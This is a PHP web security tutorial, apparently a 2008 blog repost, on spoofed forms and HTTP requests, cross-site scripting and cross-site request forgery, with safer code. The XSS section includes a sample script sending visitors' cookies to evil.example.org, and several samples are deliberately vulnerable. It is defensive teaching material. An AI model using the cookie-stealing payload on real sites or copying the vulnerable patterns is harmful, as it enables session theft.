January 24, 2008

Phpsec Form Processing


2.1 Spoofed Form Submissions

2.2 Spoofed HTTP Requests

2.3 Cross-Site Scripting

2.4 Cross-Site Request Forgeries


Spoofed Form Submissions

In order to appreciate the necessity of data
filtering, consider the following form located (hypothetically speaking) at

http://example.org/form.html
:


<form action="/process.php" method="POST">

<select name="color">

    <option value="red">red</option>

    <option value="green">green</option>

    <option value="blue">blue</option>

</select>

<input type="submit" />

</form>

Imagine a potential attacker who saves this HTML
and modifies it as follows:


<form action="http://example.org/process.php" method="POST">

<input type="text" name="color" />

<input type="submit" />

</form>

This new form can now be located anywhere (a web
server is not even necessary, since it only needs to be readable by a web
browser), and the form can be manipulated as desired. The absolute URL used in
the action attribute causes the

POST

request to be sent to the same place.


This makes it very easy to eliminate any
client-side restrictions, whether HTML form restrictions or client-side scripts
intended to perform some rudimentary data filtering. In this particular example,

$_POST['color']

is not necessarily

red
,

green
,
or

blue
.
With a very simple procedure, any user can create a convenient form that can be
used to submit any data to the URL that processes the form.


Spoofed HTTP Requests


A more powerful, although less convenient
approach is to spoof an HTTP request. In the example form just discussed, where
the user chooses a color, the resulting HTTP request looks like the following
(assuming a choice of

red
):


POST /process.php HTTP/1.1

Host: example.org

Content-Type: application/x-www-form-urlencoded

Content-Length: 9

 

color=red

The
telnet

utility can be used to perform some ad hoc testing. The following example makes
a simple

GET

request for

http://www.php.net/
:


$ telnet www.php.net 80

Trying 64.246.30.37...

Connected to rs1.php.net.

Escape character is '^]'.

GET / HTTP/1.1

Host: www.php.net

 

HTTP/1.1 200 OK

Date: Wed, 21 May 2004 12:34:56 GMT

Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev

X-Powered-By: PHP/4.3.3-dev

Last-Modified: Wed, 21 May 2004 12:34:56 GMT

Content-language: en

Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html;charset=ISO-8859-1

 

2083

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">

...

Of course, you can write your own client instead
of manually entering requests with

telnet
.
The following example shows how to perform the same request using PHP:


<?php

 

$http_response = '';

 

$fp = fsockopen('www.php.net', 80);

fputs($fp, "GET / HTTP/1.1\r\n");

fputs($fp, "Host: www.php.net\r\n\r\n");

 

while (!feof($fp))

{

    $http_response .= fgets($fp, 128);

}

 

fclose($fp);

 

echo nl2br(htmlentities($http_response));

 

?>

Sending your own HTTP requests gives you
complete flexibility, and this demonstrates why server-side data filtering is so
essential. Without it, you have no assurances about any data that originates
from any external source.


Cross-Site Scripting


The media has helped make cross-site scripting
(XSS) a familiar term, and the attention is deserved. It is one of the most
common security vulnerabilities in web applications, and many popular open
source PHP applications suffer from constant XSS vulnerabilities.


XSS attacks have the following characteristics:



§
Exploit the trust a user has for a
particular site.


Users don't
necessarily have a high level of trust for any web site, but the browser does.
For example, when the browser sends cookies in a request, it is trusting the web
site. Users may also have different browsing habits or even different levels of
security defined in their browser depending on which site they are visiting.



§
Generally involve web sites that
display external data.


Applications at a
heightened risk include forums, web mail clients, and anything that displays
syndicated content (such as RSS feeds).



§
Inject content of the attacker's
choosing.


When external data
is not properly filtered, you might display content of the attacker's choosing.
This is just as dangerous as letting the attacker edit your source on the
server.


How can this happen? If you display content that
comes from any external source without properly filtering it, you are vulnerable
to XSS. Foreign data isn't limited to data that comes from the client. It also
means email displayed in a web mail client, a banner advertisement, a syndicated
blog, and the like. Any information that is not already in the code comes from
an external source, and this generally means that most data is external data.


Consider the following example of a simplistic
message board:


<form>

<input type="text" name="message"><br />

<input type="submit">

</form>

 

<?php

 

if (isset($_GET['message']))

{

    $fp = fopen('./messages.txt', 'a');

    fwrite($fp, "{$_GET['message']}<br />");

    fclose($fp);

}

 

readfile('./messages.txt');

 

?>

This message board appends

<br />

to whatever the user enters, appends this to a file, then displays the current
contents of the file.


Imagine if a user enters the following message:


<script>

document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie

</script>

The next user who visits this message board with
JavaScript enabled is redirected to

evil.example.org
,
and any cookies associated with the current site are included in the query
string of the URL.


Of course, a real attacker wouldn't be limited
by my lack of creativity or JavaScript expertise. Feel free to suggest better
(more malicious?) examples.


What can you do? XSS is actually very easy to
defend against. Where things get difficult is when you want to allow some HTML
or client-side scripts to be provided by external sources (such as other users)
and ultimately displayed, but even these situations aren't terribly difficult to
handle. The following best practices can mitigate the risk of XSS:



§
Filter all external data.


As mentioned
earlier, data filtering is the most important practice you can adopt. By
validating all external data as it enters and exits your application, you will
mitigate a majority of XSS concerns.



§
Use existing functions.


Let PHP help with
your filtering logic. Functions like


htmlentities()
,

strip_tags()
,
and

utf8_decode()

can be useful. Try to avoid reproducing something that a PHP function already
does. Not only is the PHP function much faster, but it is also more tested and
less likely to contain errors that yield vulnerabilities.



§
Use a whitelist approach.


Assume data is
invalid until it can be proven valid. This involves verifying the length and
also ensuring that only valid characters are allowed. For example, if the user
is supplying a last name, you might begin by only allowing alphabetic characters
and spaces. Err on the side of caution. While the names


O'Reilly

and

Berners-Lee

will be considered invalid, this is easily fixed by adding two more characters
to the whitelist. It is better to deny valid data than to accept malicious data.



§
Use a strict naming convention.


As mentioned
earlier, a naming convention can help developers easily distinguish between
filtered and unfiltered data. It is important to make things as easy and clear
for developers as possible. A lack of clarity yields confusion, and this breeds
vulnerabilities.


A much safer version of the simple message board
mentioned earlier is as follows:


<form>

<input type="text" name="message"><br />

<input type="submit">

</form>

 

<?php

 

if (isset($_GET['message']))

{

    $message = htmlentities($_GET['message']);

 

    $fp = fopen('./messages.txt', 'a');

    fwrite($fp, "$message<br />");

    fclose($fp);

}

 

readfile('./messages.txt');

 

?>

With the simple addition of

htmlentities()
,
the message board is now much safer. It should not be considered completely
secure, but this is probably the easiest step you can take to provide an
adequate level of protection. Of course, it is highly recommended that you
follow all of the best practices that have been discussed.


Cross-Site Request Forgeries


Despite the similarities in name, cross-site
request forgeries (CSRF) are an almost opposite style of attack. Whereas XSS
attacks exploit the trust a user has in a web site, CSRF attacks exploit the
trust a web site has in a user. CSRF attacks are more dangerous, less popular
(which means fewer resources for developers), and more difficult to defend
against than XSS attacks.


CSRF attacks have the following characteristics:



§
Exploit the trust that a site has for
a particular user.


Many users may not
be trusted, but it is common for web applications to offer users certain
privileges upon logging in to the application. Users with these heightened
privileges are potential victims (unknowing accomplices, in fact).



§
Generally involve web sites that rely
on the identity of the users. It is typical for the identity of a user to carry
a lot of weight. With a secure session management mechanism, which is a
challenge in itself, CSRF attacks can still be successful. In fact, it is in
these types of environments where CSRF attacks are most potent.



§
Perform HTTP requests of the
attacker's choosing.


CSRF attacks include
all attacks that involve the attacker forging an HTTP request from another user
(in essence, tricking a user into sending an HTTP request on the attacker's
behalf). There are a few different techniques that can be used to accomplish
this, and I will show some examples of one specific technique.


Because CSRF attacks involve the forging of HTTP
requests, it is important to first gain a basic level of familiarity with HTTP.


A web browser is an HTTP client, and a web
server is an HTTP server. Clients initiate a transaction by sending a request,
and the server completes the transaction by sending a response. A typical HTTP
request is as follows:


GET / HTTP/1.1

Host: example.org

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

The first line is called the request line, and
it contains the request method, request URL (a relative URL is used), and HTTP
version. The other lines are HTTP headers, and each header name is followed by a
colon, a space, and the value.


You might be familiar with accessing this
information in PHP. For example, the following code can be used to rebuild this
particular HTTP request in a string:


<?php

 

$request = '';

$request .= "{$_SERVER['REQUEST_METHOD']} ";

$request .= "{$_SERVER['REQUEST_URI']} ";

$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";

$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";

$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";

$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";

 

?>

An example response to the previous request is
as follows:


HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 57

 

<html>

<img src="http://example.org/image.png" />

</html>

The content of a response is what you see when
you view source in a browser. The

img

tag in this particular response alerts the browser to the fact that another
resource (an image) is necessary to properly render the page. The browser
requests this resource as it would any other, and the following is an example of
such a request:


GET /image.png HTTP/1.1

Host: example.org

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

This is worthy of attention. The browser
requests the URL specified in the

src

attribute of the

img

tag just as if the user had manually navigated there. The browser has no way to
specifically indicate that it expects an image.


Combine this with what you've learned about
forms, and then consider a URL similar to the following:


http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000

A form submission that uses the

GET

method can potentially be indistinguishable from an image request - both could
be requests for the same URL. If

register_globals

is enabled, the method of the form isn't even important (unless the developer
still uses

$_POST

and the like). Hopefully the dangers are already becoming clear.


Another characteristic that makes CSRF so
powerful is that any cookies pertaining to a URL are included in the request for
that URL. A user who has an established relationship with


stocks.example.org

(such as being logged in) can potentially buy


1000

shares of

SCOX

by visiting a page with an

img

tag that specifies the URL in the previous example.


Consider the following form located
(hypothetically) at


http://stocks.example.org/form.html
:


<p>Buy Stocks Instantly!</p>

<form action="/buy.php">

<p>Symbol: <input type="text" name="symbol" /></p>

<p>Quantity:<input type="text" name="quantity" /></p>

<input type="submit" />

</form>

If the user enters

SCOX

for the symbol,

1000

as the quantity, and submits the form, the request that is sent by the browser
is similar to the following:


GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1

Host: stocks.example.org

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cookie: PHPSESSID=1234

I include a

Cookie

header in this example to illustrate the application using a cookie for the
session identifier. If an

img

tag references the same URL, the same cookie will be sent in the request for
that URL, and the server processing the request will be unable to distinguish
this from an actual order.


There are a few things you can do to protect
your applications against CSRF:



§
Use

POST

rather than

GET

in forms. Specify

POST

in the method attribute of your forms. Of course, this isn't appropriate for all
of your forms, but it is appropriate when a form is performing an action, such
as buying stocks. In fact, the HTTP specification requires that


GET

be considered safe.



§
Use

$_POST

rather than rely on

register_globals
.
Using the

POST

method for form submissions is useless if you rely on


register_globals

and reference form variables like

$symbol

and

$quantity
.
It is also useless if you use

$_REQUEST.



§
Do not focus on convenience.


While it seems
desirable to make a user's experience as convenient as possible, too much
convenience can have serious consequences. While "one-click" approaches can be
made very secure, a simple implementation is likely to be vulnerable to CSRF.



§
Force the use of your own forms.


The biggest problem
with CSRF is having requests that look like form submissions but aren't. If a
user has not requested the page with the form, should you assume a request that
looks like a submission of that form to be legitimate and intended?


Now we can write an even more secure message
board:


<?php

 

$token = md5(time());

 

$fp = fopen('./tokens.txt', 'a');

fwrite($fp, "$token\n");

fclose($fp);

 

?>

 

<form method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<input type="text" name="message"><br />

<input type="submit">

</form>

 

<?php

 

$tokens = file('./tokens.txt');

 

if (in_array($_POST['token'], $tokens))

{

    if (isset($_POST['message']))

    {

        $message = htmlentities($_POST['message']);

 

        $fp = fopen('./messages.txt', 'a');

        fwrite($fp, "$message<br />");

        fclose($fp);

    }

}

 

readfile('./messages.txt');

 

?>

This message board still has a few security
vulnerabilities. Can you spot them?


Time is extremely predictable. Using the MD5
digest of a timestamp is a poor excuse for a random number. Better functions
include

uniqid()

and

rand()
.


More importantly, it is trivial for an attacker
to obtain a valid token. By simply visiting this page, a valid token is
generated and included in the source. With a valid token, the attack is as
simple as before the token requirement was added.


Here is an improved message board:


<?php

 

session_start();

 

if (isset($_POST['message']))

{

if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])

    {

        $message = htmlentities($_POST['message']);

 

        $fp = fopen('./messages.txt', 'a');

        fwrite($fp, "$message<br />");

        fclose($fp);

    }

}

 

$token = md5(uniqid(rand(), true));

$_SESSION['token'] = $token;

 

?>

 

<form method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<input type="text" name="message"><br />

<input type="submit">

</form>

 

<?php

 

readfile('./messages.txt');

 

?>

Related Posts by Categories



0 comments: